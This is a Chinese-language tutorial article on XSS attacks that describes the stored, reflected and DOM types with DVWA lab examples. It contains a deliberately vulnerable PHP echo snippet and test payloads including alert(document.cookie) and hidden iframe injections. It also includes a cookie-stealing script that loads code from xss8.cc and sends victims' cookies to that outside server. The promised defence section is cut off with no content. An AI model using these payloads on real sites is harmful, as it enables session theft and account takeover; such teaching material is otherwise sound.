XSS跨站脚本攻击及防护
XSS漏洞是最广泛、作用最关键的web安全漏洞之一。在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的账号密码,进而非授权的获取关键的隐私信息。
XSS的传播性极强,由于web的特点是轻量级、灵活性高,每个用户每天都可能访问很多web站点,每个web站点每天都有成千上万的来访。
如果将XSS攻击配合一些系统内核级的漏洞,完全可能在几个小时之内击垮几百万台智能设备
案例:
myspace 第一个xss攻击
2011.6.28新浪微博
2014.3.9百度贴吧
OWASP排名 XSS注入2017年位居首位
XSS实际对应的英文是Cross Site Script,缩写为CSS。XSS攻击中跨站不是重点,重点是攻击。
XSS攻击是一种客户端访问嵌入有恶意脚本代码(JS脚本、HTML代码)的Web页面,从而盗取信息,利用身份等的一种攻击行为
对一段代码:
<?php header ("X-XSS-Protection: 0"); // IS there any input? if( array_key_exists("name", $_GET) && $_GET[ 'name' ] != NULL) // Feedback for end user echo '<pre>Hello' . $_GET[ 'name' ] . '</pre>'; ) ?>
会将Hello和输入内容拼接,如果将name输入<script>alert(222),显然会被执行
根据攻击的来源,,XSS漏洞攻击可以分成三种类型:
- 存储型XSS – 危害性最大
- 持久性:攻击者通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器中,每个访问该帖子/文章的人都会触发该恶意脚本执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
- 反射型XSS
- 非持久性:攻击者事先制作好攻击链接,将攻击脚本嵌入到某个URL链接中,诱骗用户自己去点击链接,从而触发攻击代码执行,完成该次攻击。(容易出现在搜索中)
- DOM型XSS
经常会归到以上两种中,不同的是只在客户端进行解析,不需要服务器的解析响应。- DOM:Document Object Model,即文档对象模型,它是标识和处理一个HTML或XML文档的常用方法,是以面向对象方式描述的文档模型。
- DOM型XSS基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM结点形成的XSS,该操作不与服务器端进行交互,而且代码是可见的,从前端获取到DOM中的数据在本地执行
存储型XSS攻击过程
反射型XSS攻击过程
反射型XSS与存储型XSS区别:
存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存储在URL里。
反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的URL才能生效,攻击者往往结合多种手段诱导用户点击。
DOM型XSS攻击过程
DOM型XSS跟前两种XSS的区别:
DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端Javascript自身的安全漏洞,而其他两种XSS都属于服务端的安全漏洞
- 案例一:
盗取Cookie:诱骗点击
攻击者利用反射型XSS漏洞,获取受害者Cookie,从而可以实现无密码登录。注入代码:
<sCRiPt sRC=https://xss8.cc/tvW7> </sCrIpT>
即引入自己的url中,此url的核心代码:
keep.src='https://xss8.cc/xss.php?do=keepsession&id=tvW7&url=' +escape(document.location) +'&cookie'+escape(document.cookie)};
将获取的Cookie信息传递给站点以外服务器
利用DVWA进行实验
- 案例二:
反射型XSS
利用DVWA进行实验
XSS在实战中入侵
- 可跨站标签
- <img>标签src属性
- <Script>标签src属性
- <Link>标签href属性
- Css中<img>标签
- Flash中<img>标签
- 入侵方式
- 测试是否存在跨站
<script> alert("test") </script>
- 弹出一个包含浏览者cookie信息的对话框
<script> window.alert(document.cookie) </script>
- 打开另一个网页窗口
<script> window.open('要打开的页面''属性') </script>
- 出现一个高0,宽0的网页框架,用户不可见
<iframe src=http://www.target.com/index.asp width=0 height=0></iframe>
- 刷新到另一个页面
<meta http-equiv="refresh" content="1;URL=http://www.target.com/index.asp">
- Scriptlet引入另一个页面
<object type="text/x-scriptlet" data="http://www.target.com/index.asp"></object>
针对XSS攻击的两大要素:
原文链接:https://www.cnblogs.com/emysalph/p/12887302.html
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/21903